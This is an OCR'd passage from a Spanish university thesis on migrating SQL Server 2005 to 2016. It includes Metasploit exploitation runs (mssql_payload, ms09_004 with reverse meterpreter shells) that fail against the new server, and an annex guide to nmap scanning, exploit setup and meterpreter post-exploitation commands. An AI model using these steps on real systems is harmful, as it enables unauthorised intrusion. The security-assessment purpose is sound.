Elaborado por: Investigador
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En el grafico 62, se ilustra la ejecucion en SQL Server 2016 del script de logins

generado en el paso anterior y como resultado se asigno los inicios de sesion y

contrasefias a todos los usuarios de las bases de datos migradas.

SAOuery ol - e ontmmiel e IN* & x

Gréfico 62. Asignacion de usuarios huérfanos

Elaborado por: Investigador

10. Identificar y crear manualmente: servidores vinculados, trabajos, tablas

maestras y otros componentes externos.

En el cuadro 26, se ilustra los servidores vinculados y trabajos, trasladados a SQL

Server 2016
NOMBRE OBJETO TIPO DE OBJETO
10.102.101.5 servidor vinculado

10.102.120.12

servidor vinculado

10.102.120.16

servidor vinculado

10.102.120.18

servidor vinculado

10.102.120.19

servidor vinculado

Respaldar trabajo
Auditar trabajo
enviarCorreo trabajo

Cuadro 26. Objetos externos
Elaborado por: Investigador

11. Si se llego a este punto significa que las bases de datos fueron migradas con
éxito desde SQL Server 2005 a SQL Server 2016, las bases de datos funcionan en

la nueva version.
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6.7.3 Vulnerabilidades en la DITIC y SQL Server 2016

Las vulnerabilidades detectadas en la DITIC por las caracteristicas de SQL Server
2005, fueron probadas en el nuevo entorno (SQL Server 2016), dejando los
siguientes resultados:

Vulnerabilidad del procedimiento extendido “xp_cmdshell”

Sistema operativo: Kali Linux

Software: Metasploit v4

Descripcion de la vulnerabilidad

La vulnerabilidad permite la escala de privilegios a través del procedimiento
extendido “xp_cmdshell”, es decir, un usuario con privilegios “sysadmin” puede a
través del procedimiento extendido “xp_cmdshell” apoderarse del sistema

operativo donde reside el SGBD.

Explotacion de la vulnerabilidad

Pasos

1. Utilizar el exploit “mssql_payload”. Ver grafico 63

File Edit View Search Terminal Help
) > use exploit/windows/mssql/mssql_payloadl

Gréfico 63. Utilizacion de exploit “mssql_payload” - SQL Server 2016
Elaborado por: Investigador

2. Parametrizar el exploit “mssql payload” (ver graficos 64 y 65), segun los

siguientes parametros:
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RHOSTS: IP del SGBD

USERNAME: Usuario del SGBD

PASSWORD: Password del SGBD (Puede ser obtenido por el atacante mediante
ataques de fuerza bruta al SGBD)

LHOST: IP atacante

LPORT: Puerto atacante (los atacantes utilizan puertos conocidos para no causar

sospechas).

msf exploit( set RHOST 1IN
RHOST => 1

msf exploit( set RPORT 1433

RPORT => 1433

msf exploit( set USERNAME sa

USERNAME => sa

msf exploit( ) > set PASSWORD I

PASSWORD => sa

msf exploit( ) > set payload windows/meterpreter/reverse tcp allports
payload => windows/meterpreter/reverse tcp allports

msf exploit( ) > set lhost 1NEEEEGEG—

lhost => 1ENEGGG———

msf exploit( ) > set lport 433

lport => 433

Grafico 64. Parametrizar “mssql_payload” - SQL Server 2016
Elaborado por: Investigador

msf exploit( ) > show options
Module options (exploit/windows/mssql/mssql payload) :

Name Current Setting Required Description

METHOD Which payload delivenr
PASSWORD no The password for the ¢
RHOST yes The target address
RPORT 1433 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to lis]
SRVPORT 8080 yes The local port to lis]
SSL false no Negotiate SSL for incy
SSLCert no Path to a custom SSL i
TDSENCRYPTION false yes Use TLS/SSL for TDS di
URIPATH no The URI to use for thi
USERNAME sa no The username to authe
USE WINDOWS AUTHENT false yes Use windows authentif;

Payload options (windows/meterpreter/reverse tcp allports):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '',6 sel
LHOST 1 T . © yes The listen address

LPORT 433 yes The starting port number to connt

Gréfico 65. Opciones configuradas “mssql_payload” - SQL Server 2016
Elaborado por: Investigador
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3. Ejecutar el exploit “mssql_payload”. Ver figura 66.

msf exploit( ) > exploit

*

Started reverse TCP handler on 1 :433
:1433 - The server may have xp cmdshell disabled,
11433 Command Stager progress .47% done

+

]
*]
]
*] :1433 Command Stager progress - .93% done
ol :1433 Command Stager progress .40% done
*] :1433 - Command Stager progress .86% done
] 11433 Command Stager progress - .33% done
*] :1433 Command Stager progress - .80% done
I :1433 - Command Stager progress .26% done

¥

Grafico 66. Ejecucion de "mssql_payload" - SQL Server 2016
Elaborado por: Investigador

El resultado de la ejecucion del exploit “mssql_payload” no fue exitoso,

caracteristicas de la version permitieron evitar el ataque. Ver gréafico 67

1 - 1433 - Command Stager progress 89.
1 - 1433 Command Stager progress 90.

1IN : 1433 - Command Stager progress 92.
1IN : 1433 Command Stager progress 93.
1 : 1433 Command Stager progress 95.
1 : 1433 - Command Stager progress 96.

1 - 1433 Command Stager progress 98.
1 : 1433 Command Stager progress 99.
IS : 1433 - Command Stager progress - 100.
Exploit completed, but no session was created.
exploit( ) > I_J

Grafico 67. Resultado ejecucion "mssql_payload™ - SQL Server 2016
Elaborado por: Investigador

Vulnerabilidad del procedimiento extendido “sp_replwritetovarbin”

Herramientas utilizadas

Sistema operativo: Kali Linux

Software: Metasploit v4
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Descripcion de la vulnerabilidad

La vulnerabilidad permite el acceso remoto y escala de privilegios a través del

procedimiento extendido “sp_replwritetovarbin”.

El procedimiento “sp_replwritetovarbin” puede ser ejecutado por cualquier usuario
y nivel de privilegios del SGBD, el atacante puede aprovechar esta ventaja y
combinando técnicas de inyeccién SQL puede obtener el acceso remoto al servidor
gue aloja el SGBD. Incluso funcionarios malintencionados con acceso al servidor

(usuario y contrasefia de ingreso) podrian explotar esta vulnerabilidad.

Explotacion de la vulnerabilidad

Pasos

1. Utilizar el exploit “ms09 004 sp replwritetovarbin”. Ver gréafico 68

>
>

@se exploit/windows/mssql/ms@9 004 sp replwritetovarbin

Grafico 68. Utilizacion de "ms09_004_sp_replwritetovarbin®
Elaborado por: Investigador

2. Parametrizar el exploit “ms09_004_sp_replwritetovarbin (ver graficos 69, 70 y

72), segun los siguientes parametros:

RHOSTS: IP del SGBD

USERNAME: Usuario del SGBD

PASSWORD: Password del SGBD

LHOST: IP atacante

LPORT: Puerto atacante (los atacantes utilizan puertos conocidos para no causar
sospechas).
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msf exploit( ) > set USERNAME prueba alex
USERNAME => prueba alex

msf exploit( ) > set PASSWORD prueba
PASSWORD => prueba

msf exploit( ) > set RHOST 1NN
RHOST => 1
msf exploit( ) > []

Gréfico 69. Seteo "ms09_004 _sp_replwritetovarbin” (A)
Elaborado por: Investigador

msf exploit( ) > set LHOST 192.168.0.9
LHOST => 192.168.0.9

msf exploit( ) > set LPORT 433

LPORT => 433

msf exploit( ) > D

Gréfico 70. Seteo "ms09_004_sp_replwritetovarbin" (B)
Elaborado por: Investigador

msf exploit( ) > show options
Module options (exploit/windows/mssql/ms@9 004 sp replwritetovarbin):

Name Current Setting Required Description

PASSWORD prueba password for the
RHOST 1 yes target address
RPORT 1433 yes target port (TCP)
TDSENCRYPTION false yes TLS/SSL for TDS d
USERNAME prueba alex no username to authe
USE WINDOWS AUTHENT false yes windows authentif

Payload options (windows/meterpreter/reverse tcp allports):

Name Current Setting Required Description

EXITFUNC seh Exit technique (Accepted: '',6 se
LHOST 1 yes The listen address

LPORT 433 yes The starting port number to conn

Gréfico 71. Pardmetros seteados "ms09_004_sp_replwritetovarbin"
Elaborado por: Investigador

3. Ejecutar el exploit “ms_09 004 _sp_replwritertovarbin”

exploit( ) > exploit

Started reverse TCP handler on 1D :433

1M : 1433 - Attempting automatic target detection...

1O : 1433 - Exploit aborted due to failure: no-target: Unable to determine targef
Exploit completed, but no session was created.

exploit( ) = [

Gréfico 72. Ejecutar "ms09_004_sp_replwritetovarbin”
Elaborado por: Investigador
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El resultado de la ejecucion del exploit “ms 09 004 sp replwritertovarbin™ en
SQL Server 2016 no fue exitoso, caracteristicas de la version resolvieron el hueco

de seguridad.

En conclusion:

Con la ayuda de herramientas (Kali Linux y Metasploit), se comprobd que la
utilizacion de SQL Server 2016 en la DITIC, permiti6 superar las 2 vulnerabilidades
anteriormente detectadas en SQL Server 2005, vulnerabilidades que comprometian
seriamente la seguridad en los datos. Cabe recalcar ante la aparicién de nuevas
amanezcas o errores en SQL Server 2016, éste cuenta con actualizaciones y parches
de seguridad, los mismos que ayudaran a mejorar el resguardo de los datos en la
DITIC.

Las copias de seguridad no cifradas de las bases de datos era otra vulnerabilidad
detectada en la DITIC, la version utilizada (SQL Server 2005) no permitia
encriptacion de los respaldos, la misma que fue superada a través de SQL Server
2016 y permite que en la DITIC las copias de seguridad puedan ser cifradas y por

ende aumentar la seguridad de los datos.

Es importante utilizar la auditoria proporcionada por SQL Server 2016 (Server
Audit) para el monitoreo de los datos en la DITIC, en lugar de la personalizada
utilizada actualmente; con la finalidad de poseer una auditoria mas robusta y menos

proclive a errores u omisiones por parte del administrador de base de datos.

Ademas, es indispensable que en la DITIC se explote las mejoras en seguridad que
brinda SQL Server 2016, como son la utilizacion de; mayor granularidad en los
niveles de seguridad (seguridad a nivel de fila), cifrado permanente, administracion
extensible de claves (manejo de claves en fuentes externas), entre otras; que son

unas claras mejoras en la gestion de la seguridad (ver cuadro 17).
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En conclusion, las caracteristicas proporcionadas por SQL Server 2016 inciden de

manera positiva en la seguridad de los datos de la DITIC.

6.8 Conclusiones y recomendaciones

6.8.1 Conclusiones

e El enfoque migracién a una nueva instalacion es el mas adecuado para la
migracion de bases de datos SQL Server 2005 a SQL Server 2016 por las
caracteristicas de mencionado enfoque de reducir al maximo el tiempo de

inactividad.

e La guia para migracion segura de datos desde SQL Server 2005 a SQL Server
2016 permite contar con una herramienta de apoyo que direcciona paso a paso

todo proceso de migracion entre estas versiones y asegura el traslado de datos.

e La aplicacion de la guia de migracion de datos desde SQL Server 2005 a SQL
Server 2016 en la DITIC, permitio realizar el traslado de datos en forma segura

entre estas dos versiones.

e Con la ayuda de SQL Server 2016, se logré superar vulnerabilidades que
asechaban la anterior versién (SQL Server 2005) utilizada en la DITIC y como

consecuencia se mejoro la seguridad de los datos en la Direccion.
6.8.2 Recomendaciones
e No esperar a que la version de SQL Server utilizada en la DITIC pierda su

soporte (actualizaciones y revisiones de seguridad) para realizar una migracion

0 actualizacion de version.
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e Tomar medidas de seguridad con la informacion migrada (copias de seguridad),
recuerde que en un proceso de migracién es donde mas expuesta se encuentra

esta informacion a personas no autorizadas.

e Aplicar técnicas de encriptacion o enmascaramiento a los datos criticos en la
DITIC, con la finalidad de evitar que usuarios con acceso directo a la base de

datos (incluido el administrador) puedan hacer mal uso éstos.

e Aprovechar las nuevas caracteristicas de SQL Server 2016, con la finalidad de

mejorar la seguridad de los datos en la DITIC.

108



Bibliografia

Avilés, G. G., & Academy, I. T. C. (2015). Seguridad en Bases de Datos y
Aplicaciones Web: EISENBRAUNS.

Barcos, S. (2008). Reflexiones acerca de los sistemas de
informacion universitarios ante los desafios y cambios generados por los
procesos de evaluacion y acreditacion. Avaliacao: Revista da Avaliacdo da
Educacéo Superior, 13(1), 209-244.

Carter, P. (2016). Securing SQL Server: DBAs Defending the Database. Botley.

Celis, A. (2014). Metodologia para la migracion deforma segura de Sistemas de
Gestion de base de datos relacionales a sofware libre y estandares abiertos,
142. Retrieved from http://www.revistasbolivianas.org.bo/pdf/rpgi/nl/nl
_a27.pdf

Cobo, A. Disefio y programacion de bases de datos: Editorial Vision Libros.

Duefias, P. (s.f.). Cifrado de datos transparentes (TDE). Retrieved from http://ww
w.danysoft.com /free/cifradoDatos.pdf

Fernéndez, C. (2010). Analisis, desarrollo e implementacion de auditoria en la base
de datos Microsft SQL SERVER 2005. Universidad Carlos Il de Madrid,
Retrieved from https://e-archivo.uc3m.es/bitstream/handle/10016/10588/
pfc_memoriaV6_Clemente_Fernandez_Puerto.pdf?sequence=1

Fernandez, V. (2006). Desarrollo de sistemas de informacion. In E. UPC (Ed.), Una
metodologia basada en el modelado (pp. 12). Retrieved from
https://books.google.com.ec/books?id=Sqm7jNZS_LOC&printsec=frontco
ver&hl=es&source=gbs_ge summary_r&cad=0#v=onepage&q&f=false

Garcia, A., Hurtado, C., & Alegre, M. (2011). Seguridad Informatica (S. Ediciones
Parainfo Ed. Primera ed.). Madrid.

Gonzalez, S. M. (2014). UF1473 Salvaguarda y seguridad de los datos (l.
EDITORIAL Ed.).

Heredero, C. d. P., & Lopez, J. (2004). Informatica y Comunicaciones en la
Empresa (E. EDITORIAL Ed.).

Jimenez, M. (2015). UF 1471: Base de datos relacionales y modelado de datos.
Antequera.

Microsoft. (2006). Informacion General de copia de seguridad de SQL SERVER.

Retrieved from https://technet.microsoft.com/es-es/library/ms175477(v=s
ql.90).aspx

109



Microsoft. (2016a). Copias de seguridad. Retrieved from https://docs.microsoft
.com/es-es/sql/relational-databases/backup-restore/backup-overview-sql-se
rver

Microsoft. (2016b). Enmascaramiento de datos dindmicos. Retrieved from
https://docs.microsoft.com/es-es/sql/relational-databases/security/dynamic
-data-masking

Microsoft. (2016c). Bases de datos independientes. Retrieved from
https://docs.microsoft.com/es-es/sql/relational-databases/databases/contain
ed-databases

Microsoft. (2016d). Cifrado de copias de seguridad de Microsoft. Retrieved from
https://docs.microsoft.com/es-es/sql/relational-databases/backup-restore/ba
ckup-encryption

Microsoft. (2016e). Actualizaciones de ediciones y versiones admitidas. Retrieved
from https://docs.microsoft.com/es-es/sgl/database-engine/install-windows
/supported-version-and-edition-upgrades

Microsoft. (2017a). Administracion extensible de claves (EKM). Retrieved from
https://docs.microsoft.com/es-es/sql/relational-databases/security/encrypt
ion/extensible-key-management-ekm

Microsoft. (2017b). Elegir un método de actualizacion del motor de base de datos.
Retrieved from https://docs.microsoft.com/es-es/sql/database-engine/install
-windows/choose-a-database-engine-upgrade-method

Microsoft. (s.f.-a). Introduccion a las caracteristicas de seguridad del motor
relacional de SQL Server 2005.

Microsoft. (s.f.-b). Funciones de nivel de servidor. Retrieved from
https://msdn.microsoft.com/es-es/library/ms188659(v=sql.90).aspx

Microsoft. (s.f.-c). Cémo transferir inicios de sesion y contrasefias entre instancias
de SQL Server 2005 y 2008. Retrieved from https://support.microsoft.com
les-es/help/918992/how-to-transfer-logins-and-passwords-between-instanc
es-of-sql-server

Morris, J. (2012). Practical Data Migration. In (Second ed., pp. 266): BCS Learning
& Development Ltd. Retrieved from https://books.google.com.ec/books
21d=AZKMrGyZGTcC&printsec=frontcover&hl=es&source=ghs_ge sum
mary_r&cad=0#v=onepage&q&f=false.

Paygude, P., & Devale, P. (2013). Automated Data Validation Testing Tool for

Data Migration Quality Assurance. Retrieved from https://pdfs.seman
ticscholar.org/ea3f/a2d20e10cfc26ffe6f1b2ae54a0e7b8bcch7.pdf

110



Pérez, M. (2011). SQL Server 2008 R2: motor de base de datos y administracion:
RC Libros.

Silberschatz, A., Korth, H., & Sudarshan, S. (2002). FUNDAMENTOS DE BASES
DE DATOS. In C. Fernandez (Ed.), (Cuartaed., pp. 53): Madrid. Retrieved
from https://unefazuliasistemas.files.wordpress.com/2011/04/fundamentos
-de-bases-de-datos-silberschatz-korth-sudarshan.pdf.

Snodgrass, A. (2014). Migrating from SQL Server 2005. In: Redmond
Communications Inc.

Stacia, V., Cherry, D., & D'Anthony, J. (2016). Introducing Microsoft SQL
SERVER 2016 (M. Press Ed.). Washington.

111



Anexos
Anexo No. 1: Encuesta
Encuesta al Personal de la Direccion de Tecnologia de Informaciony
Comunicacion de la Universidad Técnica de Ambato

Obijetivo: Obtener informacion referente a las caracteristicas de SQL Server 2005
y su incidencia en la seguridad de los datos de la DITIC de la UTA.
Dirigido a:

e Administradores de BD

e Director DITIC

e Administradores de Seguridad Informatica.

Instrucciones:

Marque una X en el casillero que corresponda

PREGUNTAS
1.- ¢Las caracteristicas del SQL Server 2005 le permiten cumplir con los actuales
estandares internacionales de seguridad de la informacion?

Si ()

No ()

2.- ¢En matriculacion estudiantil, evaluacion docente, registro de notas u otro
escenario en el cual se requiera un nivel alto de seguridad. SQL Server 2005 esta
dotado para cumplir esos requerimientos?

Si ()

No ()

3.- ¢Al finalizar el contrato de soporte con SQL Server 2005, la desactualizacion de
la herramienta generaria que los datos de la DITIC queden vulnerables para ataques
informéticos exitosos?

Si ()

No ()



4.- ;Las bases de datos en SQL Server 2005 de la UTA han sufrido algin tipo de
ataque informatico?

Si ()
No (')

5.- ¢Existe algin proceso de mantenimiento preventivo frente a nuevas
vulnerabilidades que podria presentar SQL Server 2005?

Si ()

No ()

6.- ¢Las bases de datos en SQL Server 2005 de la DITIC cuentan con medidas de
control de seguridad que permitan detectar nuevas amenazas a las que se expone
sus datos?

Si ()

No ()



Anexo No. 2: Guia

Guia de explotacion de vulnerabilidades de SQL Server

Las técnicas mostradas en la presente guia tienen la finalidad de mostrar como un

atacante podria aprovechar las vulnerabilidades de SQL Server.

El objetivo de la guia no es ensefiar técnicas para realizar ataques en contra de
SQL Server.

e Definiciones

Exploit
Programa o codigo que se aprovecha de un agujero de seguridad (vulnerabilidad)

en un sistema, de forma que un atacante podria usarla en su beneficio.

Metasploit
Herramienta de penetracion de cadigo libre, desarrollado para ejecutar exploits a

un objetivo remoto.

Nmap
Nmap (“mapeador de redes”) es una herramienta de c6digo abierto para exploracion
de red y auditoria de seguridad. Se disefid para analizar rapidamente grandes redes,

aunque funciona muy bien contra equipos individuales.

Payload:

Es un programa que acompafia a un exploit para realizar funciones especificas una
vez que el sistema objetivo es comprometido, la eleccion de un buen payload es una
decisién muy importante a la hora de aprovechar y mantener el nivel de acceso

obtenido en un sistema.



e Herramientas utilizadas

Sistema Operativo: Kali Linux
Software: Metasploit, NMAP

e Desarrollo de la guia
Escaneo
1. Ingresar a la consola de Kali Linux

2. Escanear la red con el objetivo de descubrir méaquinas y servicios con SQL

Server. Ejecutar el comando:
nmap -A -T4 192.168.50.0/24

La ejecucién del comando mostrara informacion como: puertos abiertos, sistema
operativo instalado, y si fuera el caso nos mostrara el nombre de la instancia, version
y puerto utilizado por SQL Server. Informacion de utilidad que permitira
redireccionar la busqueda de vulnerabilidades a los equipos que proveen servicios
de SQL Server. En el grafico 1, se ilustra un ejemplo de los resultados que podria

entregar la ejecucion del comando.

_clock-skew: mean: -2m4ls, deviation: Os, median: -2m41ls
| ms-sgl-info:

| Windows server name: SERVER-UTA

| 192.168.0.3\MSSQLSERVER:
| Instance name: MSSQLSERVER
| Version:

| name: Microsoft SQL Server 2005 RTM
| number: 9.00.1399.00
| Product: Microsoft SQL Server 2005
| Service pack level: RTM
| Post-SP patches applied: false

| TCP port: 1433

| Clustered: false

| 192.168.0.3\MSSQLSERVER2008:

| Instance name: MSSQLSERVER2008

| Version:

| name: Microsoft SQL Server 2008 R2 SP3

| Product: Microsoft SQL Server 2008 R2

| Service pack level: SP3

| Clustered: false

| nbstat: NetBIOS name: SERVER-UTA, NetBIOS user: <unknown>, NetBIOS MAC: 08:00;:

Grafico 1. Ejecucion de “NMAP”



Explotacion de vulnerabilidades a través de Metasploit

3. Ejecutar el comando msfconsole (ver grafico 2). Permite el ingreso a la consola

de comandos de Metasploit.

=[ metasploit v4.16.16-dev

16. 1

--=[ 1702 exploits - 969 auxiliary - 299 post ]
]

|

--=[ 503 payloads - 40 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

Gréfico 2. Metasploit

4. Ejecutar el comando search mssql (ver grafico 3). Permite buscar en el repositorio

de Metasploit todos los mddulos de exploit relacionados con SQL Server.

msf > search mssql
[!] Module database cache not built yet, using slow search

Matching Modules

Disclosure Date Rank
auxiliary/admin/mssql/mssql enum normal
auxiliary/admin/mssql/mssql_enum domain_ accounts normal

eration
auxiliary/admin/mssql/mssql_enum domain accounts sqli normal

Enumeration
auxiliary/admin/mssql/mssql_enum sql logins normal
auxiliary/admin/mssql/mssql_escalate dbowner normal
auxiliary/admin/mssql/mssql_escalate dbowner sqli normal
auxiliary/admin/mssql/mssql_escalate execute as normal
auxiliary/admin/mssql/mssql escalate execute as sqli normal
auxiliary/admin/mssql/mssql_exec normal
auxiliary/admin/mssql/mssql findandsampledata normal
auxiliary/admin/mssql/mssql idf normal
auxiliary/admin/mssql/mssql ntlm stealer normal
auxiliary/admin/mssql/mssql _ntlm stealer sqli normal
auxiliary/admin/mssql/mssql sql normal
auxiliary/admin/mssql/mssql_sql file normal
auxiliary/analyze/jtr mssqgl fast normal

Grafico 3. Buisqueda con “search”



5. Ejecutar el comando use “moédulo de exploit” (ver grafico 4). Permite seleccionar
un médulo de exploit para su utilizacion. Se recomienda realizar pruebas con los
modulos de exploits disponibles, con la finalidad de buscar posibles huecos de

seguridad.

root@kali: ~

File Edit View Search Terminal Help

msf > use auxiliary/scanner/mssql/mssql ping
msf auxiliary( ) >

Grafico 4. Comando “use”

6. Ejecutar el commando show options (ver grafico 5). Una vez seleccionado el
modulo de exploit, a través de show options podremos visualizar los parametros

necesarios para la ejecucién del mismo.

auxiliary ) » show options
(auxiliary/scanner/mssql/mssql ping)
Current Setting Required Description

PASSWORD ne The password Tor the specified usernase
BHOSTS yes The ti address range or CIDR identifiq
TDSENCRYPTION 5e yes Use ! L for TDS data "Force Encryptior
THREADS 1 yes The o of concurrent threads

USERNAME 58 no The us to authenticate as

USE WINDOWS AUTHENT false yes Use windows authentification {(require

msf auxiliaryl

Grafico 5. Ejecucion “show options”

7. Ejecutar el comando set “parametro” (ver grafico 6). A través de la ejecucion del
comando set, podremos setear los parametros necesarios para la ejecucion del

exploit.

msf auxiliary( ) > set RHOSTS 192.168.0.3
RHOSTS => 192.168.0.3

msf auxiliary( ) > set THREADS 20
THREADS => 20
msf auxiliary( ) > D

Gréfico 6. Seteo de parametros



8. Ejecutar el comando exploit (ver grafico 7). Permite la ejecucion del médulo de

exploit.

root@kali: ~
File Edit View Search Terminal Help

msf auxiliary( ) > exploit

Grafico 7. Ejecucion de exploit

9. Si la ejecucion del mddulo del exploit se realizd con éxito, a través de payloads
se puede aprovechar el acceso obtenido. A continuacion, se detallan algunos

comandos pertenecientes al payload meterpreter, utilizado en sistemas vulnerados:

help: Abrir uso ayuda meterpreter

sysinfo: Mostrar la informacion del sistema en el destino remoto.

Is: Lista de archivos y carpetas del objetivo.

ps: Mostrar todos los procesos en ejecucion y que las cuentas estén asociadas con
cada proceso.

shell: Crear un shell interactivo con todas las fichas disponibles.

execute -f cmd.exe -i: Ejecutar cmd.exe e interactuar con él.

execute -f cmd.exe -i -t: Ejecutar cmd.exe con todas las fichas disponibles.
execute -f cmd.exe -i -H -t: Ejecutar cmd.exe con todas las fichas disponibles y
convertirlo en un proceso oculto.

upload file: Subir un archivo al objetivo.

download file: Descargar los archivos desde el objetivo.

reboot: Reinicie el equipo de destino.



